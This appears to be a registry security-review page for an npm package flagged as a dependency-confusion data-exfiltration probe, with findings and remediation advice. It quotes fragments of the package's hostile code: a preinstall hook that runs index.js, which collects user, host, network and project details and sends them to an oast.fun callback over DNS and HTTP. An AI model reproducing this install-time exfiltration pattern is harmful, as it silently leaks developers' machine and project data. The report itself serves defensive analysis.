registry / Data exfiltration / stillm4ddpocs-demo-sprocket

stillm4ddpocs-demo-sprocket

AUTHORISED SECURITY RESEARCH — dependency confusion proof of concept. This package was published because the name appeared in publicly served code but was unregistered on the public registry. If it is in your dependency tree, your resolver fetched an inte

This report shows the evidence for stillm4ddpocs-demo-sprocket@999.9.12. 3 of 3 known versions are blocked or flagged. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

Direct source inspection confirms a reachable preinstall reconnaissance and data-exfiltration chain. This is concrete unconsented install-time behavior, independent of the package's stated research intent.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

npm preinstall runs node index.js

Impact

Unconsented disclosure of identifying workstation, network, and consuming-project metadata.

Mechanism

install-time host and project reconnaissance with DNS/HTTP exfiltration

Attack narrative

On installation, the preinstall hook executes index.js. It reads the consuming project's package.json, gathers local and public network details plus hostname, username, home directory, and working directory, then serializes the data. The package sends that payload as hex-labelled DNS queries to its callback domain and as HTTP and HTTPS POST requests. Its stated research purpose does not establish consent for this automatic collection and external transmission.

AI rationale

Evidence

package.jsonindex.js<INIT_CWD>/package.json

Network endpoints5

da51rv0hb2uc72tg4gvgdepinjcallbk1.oast.funapi.ipify.orgicanhazip.comifconfig.me/ipo-o.myaddr.l.google.com

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

preinstall automatically executes index.js during npm installation.
Source reads consuming project's manifest and host/user/home/network identifiers.
It queries public-IP services and a DNS resolver to expand collected network data.
It hex-encodes the collected JSON into DNS requests and also POSTs it to an external callback.

Evidence against

No code writes files, downloads payloads, or invokes shell commands.
README describes the behavior as security research, but source confirms unconsented install-time collection and transmission.

Behavioral surface

Source

CryptoEnvironmentVarsFilesystemNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 6.70 KB of source, external domains: api.ipify.org, icanhazip.com, ifconfig.me

Source & flagged code

6 flagged

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

10"scripts": { "preinstall": "node index.js" }

High

Ai Review Evidence

preinstall automatically executes index.js during npm installation.

package.jsonView on unpkg · L10

index.jsView file

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const http = require("http"); const https = require("https"); const CALLBACK = "[redacted].oast.fun"; // because they fail in different situations: the HTTPS lookup gives this // host's egress address and needs outbound HTTP; the DNS lookup gives the const urls = ["https://api.ipify.org", "https://icanhazip.com", "https://ifconfig.me/ip"]; const req = https.get(url, { timeout: 2000 }, (res) => {

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

•matchType = normalized_sha256 matchedPackage = stillm4ddpocs-demo-gadget@999.9.20 matchedPath = index.js matchedIdentity = npm:[redacted]:999.9.20 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 5ccc01a84753afbf signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = stillm4ddpocs-demo-gadget@999.9.20 matchedPath = index.js matchedIdentity = npm:[redacted]:999.9.20 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

112function collect() { const parent = parentProject(); let user = null, home = null; try { const u = os.userInfo(); user = u.username; home = u.homedir; } catch (e) {} return { uuid: crypto.randomUUID(), ip: localIPv4(), hostname: (() => { try { return os.hostname(); } catch (e) { return null; } })(), user: user, home: home, cwd: process.env.INIT_CWD || process.cwd(), public_ip: null, resolver_ip: null, client_subnet: null, poc: PACKAGE, parent: parent.name, author: parent.author || null, repository: parent.repository || null, home

High

Ai Review Evidence

Source reads consuming project's manifest and host/user/home/network identifiers.

index.jsView on unpkg · L112

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

10"scripts": { "preinstall": "node index.js" }

High

Ai Review Evidence

preinstall automatically executes index.js during npm installation.

package.jsonView on unpkg · L10

index.jsView file

High

Findings

6 High2 Medium4 Low

HighInstall Time Lifecycle Scriptspackage.json

HighTrigger Reachable External Post Callbackindex.js

HighKnown Malware Source Similarityindex.js

HighKnown Malware Source Fingerprint Signatureindex.js

HighAi Review Evidencepackage.json

HighAi Review Evidenceindex.js

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to stillm4ddpocs-demo-sprocket@999.9.12.

The versions list below shows the verdict for each recorded version.

Avoid installing stillm4ddpocs-demo-sprocket@999.9.12. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-23 03:30:25.313Z (UTC).

Source advisory published: 2026-08-23 03:13:22.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

3 known versions

999.9.12latestshownMaliciousData ExfiltrationBlockPublishedAug 22, 2026, 11:59 PM 999.9.20MaliciousData ExfiltrationBlockPublishedAug 22, 2026, 10:27 PM 999.9.11MaliciousData ExfiltrationBlockPublishedAug 22, 2026, 8:07 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Behavioral surface

Related packages

Other data exfiltration packages

Source & flagged code